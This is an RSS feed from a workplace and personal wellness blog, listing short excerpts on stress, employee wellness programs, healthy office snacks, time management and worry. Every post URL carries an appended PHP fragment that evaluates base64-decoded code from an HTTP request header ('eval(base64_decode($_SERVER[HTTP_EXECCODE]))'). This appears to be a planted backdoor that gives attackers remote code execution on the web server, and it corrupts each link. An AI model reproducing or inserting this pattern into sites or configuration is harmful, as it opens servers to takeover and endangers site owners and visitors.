http://sandralarkin.com/blog Corporate Wellness, Workplace Workplace and Individual Wellness Fri, 11 Jun 2010 16:54:26 +0000 http://backend.userland.com/rss092 en Stress.  Who hasn't felt it on a daily basis.  There is so much going on in each of our lives it becomes overwhelming to think about adding more to our plate.  Some of our lives are upside down and spinning out of control.  "The Inner Game of Stress" (W. Timothy Gallwey, Edwards ... http://sandralarkin.com/blog/2010/06/11/winning-the-game-of-stress/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Forty-five percent of Americans working at small to medium-sized companies said that they would stay at their jobs longer because of employer-sponsored wellness programs, according to the latest Principal Financial Well-Being Index(SM). The survey also found that as a result of workplace wellness programs, 40 percent of workers say they are encouraged ... http://sandralarkin.com/blog/2010/01/18/nearly-half-of-american-workers-see-wellness-programs-as-an-important-employee-retention-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Offering healthy snack food alternatives is an easy start to showing your commitment to workplace wellness. Keep records to see that they are actually being used. Make sure the supply is fresh, clean, and attractively presented. If necessary, charge a fair price, but remember that the continued wellness of your ... http://sandralarkin.com/blog/2010/01/18/healthy-snacking-in-the-workplace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/  With employees spending eight to 10 hours of their day in the workplace, it is important for businesses to have an environment of wellness present. Studies show that when companies provide wellness programs, employees feel valued and businesses save money while improving their productivity.Our nation is in a health crisis. ... http://sandralarkin.com/blog/2010/01/18/steps-to-improve-workplace-wellness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Nothing stays the same.  Change happens every moment and we just hope it doesn't happen every moment to us. What can we do to put ourselves in the forefront of change and manage it properly?  Ultimately, that's up to us how we react and take action.    We can easily come down with ... http://sandralarkin.com/blog/2009/11/17/victory-over-the-what-ifs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I've been getting alot of questions about what I recommend for wellness or just life in general.  Like Oprah, here are a few of my favorites things .... "Healthy Profits:  The 5 Elements of Strategic Wellness"by Sandra Larkin and 30 Additional Authors          GREAT resource for individuals to put together a wellness action ... http://sandralarkin.com/blog/2009/11/01/universal-things-i-recommend/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If your like me, you've got more than one think going on at any given moment.  Between family, friends, work, blogging, Twittering, authoring or just plain doing nothing, it takes alot of energy to accomplish the simple task and try to be "all you can be" in the process.  I've ... http://sandralarkin.com/blog/2009/09/14/time-management-tips-to-live-by/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Success is defined differently by every person.  For some, it means a promotion, gaining material possessions, creating additional income, realizing internal growth or helping and serving others.  However we define success, it's personal and just right for us.  Others cannot define it for us or tell us what our success ... http://sandralarkin.com/blog/2009/08/24/secrets-of-success-in-four-strategic-steps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If you don't think you have the time to exercise, read, take a walk, attend classes, be social or breath, you probably don't.  Our perception is our reality.  In other words, what we perceive is real to us.  For example, if you think your right when your in an argument, ... http://sandralarkin.com/blog/2009/08/21/reinvest-in-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Have you been living with two thieves?  How can that be?  I don't see or hear them but they plague us day after day.  The two thieves are Regret and Worry.   Regretting decisions from our past that we think may have turned out better.  Worrying that an unknown consequence awaits ... http://sandralarkin.com/blog/2009/08/12/quit-living-with-two-thieves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/